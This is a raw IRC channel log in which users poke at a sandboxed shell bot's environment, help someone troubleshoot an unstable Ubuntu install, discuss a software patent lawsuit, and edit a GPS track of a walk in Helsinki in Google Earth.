/lib/init/rw type tmpfs (rw,nosuid,mode=755) < 1250399084 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :`run who < 1250399086 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1250399095 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ZOMG NOBODY IS LOGGED IN < 1250399116 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run find 2>&1 < 1250399117 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :. \ /usr/bin/find: `.': Function not implemented < 1250399123 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :function not implemented? < 1250399141 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That's the magic. < 1250399166 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Mmm, ldpreload. < 1250399204 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Bleh, now immibis is going to statically compile something in some naive attempt at being tricky, and we'll have to wait while 'e figures out that that doesn't work X_X < 1250399230 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`echo $LD_PRELOAD < 1250399230 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :$LD_PRELOAD < 1250399234 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run echo $LD_PRELOAD < 1250399234 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1250399238 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run echo $LD_PRELOAD 2>&1 < 1250399239 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :No output. < 1250399241 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :`run set 2>&1 < 1250399242 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :BASH=/bin/bash \ BASH_ARGC=() \ BASH_ARGV=() \ BASH_LINENO=() \ BASH_SOURCE=() \ BASH_VERSINFO=([0]="3" [1]="2" [2]="48" [3]="1" [4]="release" [5]="x86_64-pc-linux-gnu") \ BASH_VERSION='3.2.48(1)-release' \ CONSOLE=/dev/console \ DIRSTACK=() \ EUID=1885202 \ GROUPS=() \ HACKENV=/tmp/hackenv.25091 \ HACKHG=/tmp/hackenv.hg.25091 < 1250399252 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :It's not actually an ld preload, pikhq was slightly confused, it's a hacked up libc. < 1250399259 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :(Amongst other things) < 1250399362 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Ah, right. < 1250399381 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It gets you roughly the same effect, without the ability to just use a static binary. < 1250400015 0 :coppro!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1250400089 0 :oklofok!n=oklopol@a91-153-125-186.elisa-laajakaista.fi JOIN :#esoteric < 1250400402 0 :jix!n=jix@188-193-95-175-dynip.superkabel.de JOIN :#esoteric < 1250401085 0 :puzzlet_!unknown@unknown.invalid QUIT :Read error: 104 (Connection reset by peer) < 1250401150 0 :puzzlet!n=puzzlet@147.46.241.168 JOIN :#esoteric < 1250401182 0 :Pthing!n=pthing@77-100-194-169.cable.ubr04.pres.blueyonder.co.uk JOIN :#esoteric < 1250401348 0 :oklopol!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1250401653 0 :Leonidas!unknown@unknown.invalid QUIT :Read error: 145 (Connection timed out) < 1250401962 0 :Leonidas!n=Leonidas@unaffiliated/leonidas JOIN :#esoteric < 1250402834 0 :Leonidas!unknown@unknown.invalid QUIT :Read error: 145 (Connection timed out) < 1250402917 0 :Mnemosyne!unknown@unknown.invalid QUIT :"help" < 1250402919 0 :oerjan!unknown@unknown.invalid QUIT :"Good night" < 1250403476 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :G'night all < 1250403615 0 :jix!unknown@unknown.invalid QUIT :Read error: 113 (No route to host) < 1250403712 0 :Sgeo!unknown@unknown.invalid QUIT :Read error: 60 (Operation timed out) < 1250405954 0 :Pthing!unknown@unknown.invalid QUIT :Remote closed the connection < 1250409599 0 :clog!unknown@unknown.invalid QUIT :ended < 1250409600 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1250410287 0 :MizardX!unknown@unknown.invalid PRIVMSG #esoteric :"An html element's end tag may be omitted if the html element is not immediately followed by a comment." <-- How do place a comment after an omitted end-tag? < 1250410701 0 :immibis!unknown@unknown.invalid PRIVMSG #esoteric :that's why it says you can't < 1250410848 0 :MizardX!unknown@unknown.invalid PRIVMSG #esoteric :err.. wait. Those rules are probably for generating HTML5 code, from some object model. < 1250410879 0 :MizardX!unknown@unknown.invalid PRIVMSG #esoteric :http://dev.w3.org/html5/spec/Overview.html#syntax < 1250411248 0 :augur!unknown@unknown.invalid QUIT :"Leaving..." < 1250411701 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Sgeo: my system's become increasingly unstable. I want to rule out FS/disk corruption, which means I did a badblocks scan, and now need to make sure all the system files are correct <-- just check the checksums against packages, instead of reinstalling < 1250412262 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm he left < 1250412270 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyone know if he do log reading+ < 1250412273 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :s/+/?/ < 1250412363 0 :puzzlet_!n=puzzlet@147.46.241.168 JOIN :#esoteric < 1250413071 0 :puzzlet!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1250413127 0 :Gracenotes!n=person@wikipedia/Gracenotes JOIN :#esoteric < 1250413189 0 :immibis_!n=IceChat7@125-238-252-238.broadband-telecom.global-gateway.net.nz JOIN :#esoteric < 1250413766 0 :MigoMipo!n=MigoMipo@84-217-6-187.tn.glocalnet.net JOIN :#esoteric < 1250414175 0 :immibis!unknown@unknown.invalid QUIT :Read error: 110 (Connection timed out) < 1250414619 0 :BeholdMyGlory!n=behold@d83-183-181-73.cust.tele2.se JOIN :#esoteric < 1250415380 0 :calamari!unknown@unknown.invalid QUIT :"Leaving" < 1250415466 0 :jix!n=jix@188-193-95-175-dynip.superkabel.de JOIN :#esoteric < 1250415990 0 :ais523!n=ais523@92-236-187-64.cable.ubr08.king.blueyonder.co.uk JOIN :#esoteric < 1250416017 0 :Deewiant!unknown@unknown.invalid QUIT :"Viivan loppu." < 1250416048 0 :Deewiant!n=deewiant@cobain.hut.fi JOIN :#esoteric < 1250416075 0 :puzzlet!n=puzzlet@147.46.241.168 JOIN :#esoteric < 1250416097 0 :puzzlet_!unknown@unknown.invalid QUIT :Remote closed the connection < 1250416391 0 :puzzlet!unknown@unknown.invalid QUIT :Remote closed the connection < 1250416395 0 :puzzlet!n=puzzlet@147.46.241.168 JOIN :#esoteric < 1250416467 0 :coppro!n=chatzill@unaffiliated/coppro JOIN :#esoteric < 1250416494 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :so... good news, bad news, and more good news in my inane ramblings about trying to fix my computer at... oh dear, it's 3 am already < 1250416547 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :good news is, I'm now pretty convinced it's a software bug that the reinstall should fix < 1250416559 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :bad news is, I managed to get my computer stuck halfway through configuration of hal < 1250416576 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :just make sure you don't get eaten by sharks < 1250416583 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :good news is, I figured out how to convince it to work from a livecd; though I've no clue how well that will interact with various automatic configuration of kernel modules, etc. < 1250416603 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :also, 3am may not be a good time to attempt that sort of thing < 1250416707 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :indeed < 1250416729 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :unfortunately, I need to get this computer fixed by morning :/ < 1250416743 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :was it working before you started? < 1250416747 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :not really < 1250416753 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :now it's /really/ not working < 1250416808 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :it was in random crash mode previously; now it's in can't boot mode... this isn't even as bad as the time I switched my filesystems to ext4 without making sure the kernel had ext4 enabled < 1250416815 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :*is worse than the time < 1250417017 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :if this doesn't work, I think I'll just reinstall, which won't be pleasant < 1250417048 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :hmm... is there any way to get dpkg to list all the configuration files that have been modif... wait, I'm doing a complete reinstall, that should catch 'em < 1250417178 0 :immibis_!unknown@unknown.invalid QUIT :"Some folks are wise, and some otherwise." < 1250417280 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries to think of anything installed recently that might be causing instability...
< 1250417580 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :hrm... /me spies a potential problem < 1250417582 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Sgeo: my system's become increasingly unstable. I want to rule out FS/disk corruption, which means I did a badblocks scan, and now need to make sure all the system files are correct <-- just check the checksums against packages, instead of reinstalling < 1250417599 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :seems you didn't do log reading < 1250417608 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :anyway, there are scripts to verify all files from all packages < 1250417615 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :for most linux distros < 1250417628 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: too late for that, and all the scripts I could find only check that they are there, not for integrity :/ < 1250417639 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :coppro, well, what distro < 1250417642 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Ubuntu < 1250417645 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :there is definitely one for ubuntu < 1250417646 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :which implies Debian < 1250417648 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :tiger iirc < 1250417658 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, tiger checks more than that < 1250417666 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it checks that configuration is secure and what not < 1250417685 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION desparately hopes that the kernel module configuration scripts still work without /proc mounted
< 1250417687 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but amongst other things it verifies checksums of all files < 1250417694 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :coppro, probably not < 1250417697 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :why not mount proc < 1250417699 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it is simple < 1250417704 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mount -t proc proc /proc < 1250417708 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(as root) < 1250417711 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: it's the wrong /proc < 1250417715 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I'm running from livecd < 1250417722 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :coppro, just bind mount it < 1250417729 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or mount it as /chroot/proc < 1250417731 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or whatever < 1250417738 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: no, that's not the problem < 1250417745 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :no? < 1250417749 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the problem is that the proc would be incorrect < 1250417761 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :incorrect in what aspect < 1250417770 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :paths are adjusted iirc in /proc/mounts and such < 1250417784 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :it's grepping for modules; the modules loaded in the livecd and in my computer do not necessarily have the same modules < 1250417830 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :coppro, well, the modules loaded by the livecd should probably contain those that are needed to make your computer boot < 1250417838 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :amongst more < 1250417843 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yes, and if it doesn't boot this time, I will try that < 1250417874 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :but I don't think it's really important, modules should be picked from /etc when the init image is generated < 1250417880 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :(e.g. there's a conffile) < 1250418192 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :if this fixes the system instability, I'd even be willing to give it another go without crashes if I need to to fix the configuration < 1250418210 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :but yuk < 1250418231 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :coppro, how is it unstable < 1250418232 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in < 1250418237 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what exactly is happening < 1250418238 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :random CPU lockup < 1250418244 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :coppro, any backtraces? < 1250418247 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oopses? < 1250418251 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :nope < 1250418268 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :coppro, try running without X so you can see any OOPS the kernel is printing to the terminal < 1250418269 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or < 1250418276 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :connect a serial console < 1250418279 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if you have a serial port < 1250418289 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or firewire console if you have a firewire port < 1250418424 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :coppro, Ã… < 1250418428 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :s/Ã…/^/ < 1250418500 0 :coppro!unknown@unknown.invalid QUIT :Read error: 104 (Connection reset by peer) < 1250419423 0 :MigoMipo!unknown@unknown.invalid QUIT :"QuitIRCServerException: MigoMipo disconnected from IRC Server" < 1250419499 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm... it seems that someone sued Microsoft over an XML-related patent, and they've been banned from selling Word in the US < 1250419511 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :although, it shouldn't take them too long to modify it to get around the patent < 1250420097 0 :MigoMipo!n=MigoMipo@84-217-6-187.tn.glocalnet.net JOIN :#esoteric < 1250421055 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, link < 1250421063 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also they would have to recall all cds and such < 1250421080 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :http://www.computerworld.com/s/article/9136539/Injunction_on_Microsoft_Word_unlikely_to_halt_sales < 1250421089 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :apparently it doesn't apply to ones they've already sold < 1250421128 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :"that let people create custom XML documents, according to i4i" < 1250421129 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1250421133 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what on earth is the patent about < 1250421137 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :text editor? < 1250421154 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :who knows, patents are generally unfathomable < 1250421262 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, well, software patents are yes < 1250421268 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :originally they did serve a purpose < 1250421299 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I mean, hard to read < 1250421304 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :like when someone invented a better steam engine, they could sell it alone for a few years, to get the costs for inventing back... but nowdays it seems quite far from that ideal < 1250421305 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no matter whether they're about software or not < 1250421339 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, again: not originally < 1250421356 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yep, I suppose they got harder to read over time < 1250421362 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :as obfuscation lawyers got involved < 1250421391 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, heh: http://en.wikipedia.org/wiki/History_of_patent_law#Ancient_Greece < 1250421610 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, any idea how to do console over firewire in linux? < 1250421615 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no < 1250421616 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I know it is possible < 1250421619 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :just not how < 1250422086 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :If you just want the kernel printk logging over firewire, IP over 1394 and netconsole over that should work. I don't know about bidirectional serial-console style of stuff; doesn't sound so very useful, since you could just run IP and telnet/ssh over it. < 1250422113 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(Back at home now.) < 1250423109 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, heh < 1250423119 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, there is gdb over firewire support too < 1250423168 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, however it is useful, since only case I would use a firewire console would be when I couldn't get in by ssh < 1250423173 0 :KingOfKarlsruhe!n=nice@HSI-KBW-095-208-142-060.hsi5.kabel-badenwuerttemberg.de JOIN :#esoteric < 1250423179 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :like, say, ssh crashed on a headless system < 1250423198 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or network scripts are broken < 1250423290 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :No serial ports, then? I guess they're so out-of-fashion nowadays. < 1250423532 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, indeed < 1250423551 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, some of my computers have serial < 1250423562 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :50% in fact < 1250423586 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :0% of my laptops, and 100% of my non-laptops < 1250423606 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :this includes only working computers < 1250423657 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :otherwise 3/5 of the computers have serial ports. Between them they would have 5 serial ports. < 1250423679 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :two of my computers have firewire, between them having three firewire ports < 1250423684 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so how many computers do I have ;P < 1250423698 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(if you can even calculate that from the data above) < 1250423699 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, ^ < 1250424304 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :tl;dr, to be honest. < 1250424309 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, heh < 1250424312 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Was busy mopping up cat puke. < 1250424360 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ouch < 1250424921 0 :FireFly!n=FireFly@1-1-3-36a.tul.sth.bostream.se JOIN :#esoteric < 1250425421 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fun, same printer reported as two different ones, it changes every other time < 1250425448 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in, reported as hp:/usb/PSC_2170_Series?serial=XXXXXXXX sometimes < 1250425469 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or hal:/some-long-string sometimes < 1250426550 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Meh: /usr/lib/googleearth/googleearth-bin: symbol lookup error: libssl.so.0.9.8: undefined symbol: EVP_idea_cbc < 1250426578 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I guess it still must be something about IDEA patents. < 1250426662 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :There's a very confused Ubuntu bug report about it though. < 1250426726 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The workaround there worked, though, which was nice. < 1250426842 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Too bad google-earth displays no image, just a dark-grey window. < 1250427324 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, last version? < 1250427413 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1250427484 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Installing nvidia-glx-ia32 made it work, though. < 1250427530 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Except it gets confused if I make it a floating window. Works when tiled. That's not so common. < 1250427744 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I thought this thing has some sort of kml-editing facilities, though. I have a pretty broken GPS track (16 separate segments, I need to join them, move and delete some points, and so on) which needs some manual editing, and I thought google-earth would have the best map background for that. < 1250427950 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Whoa; last I looked (okay, years ago) the "3d buildings" view had pretty much nothing except few landmarks. < 1250427966 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Now it seems pretty much complete city centre of Helsinki's been 3d-modelled. < 1250428083 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Not very far outwards, though. < 1250428097 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric :are all the humans modeled as well < 1250428144 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric :otherwise it's just a sad old ghost town < 1250428169 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :No humans there. < 1250428229 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric :well you model like a stick figure with a big smile and put it there < 1250428254 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Nokia's headquarters are flat, but the nearby Kone and Fortum buildings are there. < 1250428255 0 :oklofok!unknown@unknown.invalid PRIVMSG #esoteric :well. i guess she'd be pretty lonely < 1250428404 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The coal power plant started glowing blue when I moused over it, that was a bit disturbing. Turns out there was just an info-box about it available, and not that I was making it overload and soon-explode with google-earthifying around. < 1250429074 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Oh right, it had this really crazy UI; you have to open the "properties" dialog for the path, and that's what makes the path nodes editable. I guess I can use it after all. < 1250432466 0 :KingOfKarlsruhe!unknown@unknown.invalid QUIT :Remote closed the connection < 1250432931 0 :MigoMipo!unknown@unknown.invalid QUIT :"QuitIRCServerException: MigoMipo disconnected from IRC Server" < 1250433842 0 :pikhq!unknown@unknown.invalid QUIT :"leaving" < 1250434153 0 :pikhq!n=pikhq@75-106-100-121.cust.wildblue.net JOIN :#esoteric < 1250435226 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, better idea would connecting it to the flight sim thingy < 1250435260 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Phew, got a reasonably coherent walk out of those points: http://maps.google.com/maps?f=q&source=s_q&hl=en&geocode=&q=http:%2F%2Fzem.fi%2F~fis%2Ftest4b.kml&ie=UTF8&z=15 < 1250435282 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in... require you to fly in certain ways between points to edit them or so < 1250435311 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, "We could not understand the location http://zem.fi/~fis/test4b.kml" < 1250435313 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well < 1250435320 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Er, that's strange. < 1250435323 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :coherent error I guess < 1250435332 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, English google < 1250435336 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes, yes. < 1250435344 0 :MigoMipo!n=MigoMipo@84-217-6-187.tn.glocalnet.net JOIN :#esoteric < 1250435364 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Strange. It should be able to accept a http:// URL to a .kml file; I've been using it a lot to preview those routes. < 1250435368 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, ok, it works if I reload the page twice < 1250435372 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Heh. < 1250435389 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I'm sure there's some really-ugly-hack -related reason. < 1250435391 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, oh it seems to switch to basic html mode < 1250435398 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :automatically < 1250435400 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :unknown why < 1250435408 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :scripts *are* enabled < 1250435461 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, odd walk < 1250435466 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sure it was the shortest path? < 1250435525 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :We had two hours to kill before our restaurant reservation. < 1250435533 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :damn, it is sure hard to read the map on this high DPI monitor < 1250435547 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, "we? < 1250435560 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :s/e\?/e"?/ < 1250435602 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Myself and my wife; that's I guess my default "we". Anyway, should gpscorrelate the photos on the path too, but first have to pick out the sensible ones. < 1250435602 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, which end is the start and which is the stop < 1250435641 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It starts from Norra esplanaden and ends there in Petersgatan, if your map is displaying the street labels in the same language than this one here. < 1250435649 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries to imagine fizzie being married.
< 1250435652 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION fails
< 1250435689 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The black toilet paper hotel was there right next to Hotel Kämp, which seems to be marked on the map. < 1250435691 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you seemed like such a good example of guy at university, who might have a gf, but definitely not a wife. heh < 1250435780 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, the target was at Petersgatan? < 1250435797 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: http://www.central.fi/?deptid=281&languageid=8 < 1250435824 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The line ends approximately there. < 1250435844 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, got a bit confused when you crossed your previous path < 1250435881 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :There's a bit of crisscrossing, the main point was to look at the nice houses there on Huvilakatu (Villagatan). < 1250435887 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders why google earth displays it in miles
< 1250435898 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's actually a flag in the .kml file. < 1250435916 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :katu = gata? < 1250435921 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I forgot to tell gpsbabel "-f kml,units=m". < 1250435922 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1250435938 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, ready to reload it when you are < 1250435942 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Er, and it's "-o kml,units=m". < 1250435951 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Just a second. Well, several seconds. < 1250435953 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1250435964 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, or just tell me how long the walk was < 1250435987 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's there now as test4c.kml -- I've had some problems getting browsers to reload the .kml file itself. < 1250435991 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :About 6 km, I guess. < 1250436008 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :google says so indeed < 1250436029 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, anyway I can't really see it on laptop, remember my laptop has a ~129 DPI screemn < 1250436031 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :screen* < 1250436043 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :on the 96 DPI desktop it is easier < 1250436081 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The altitude numbers might 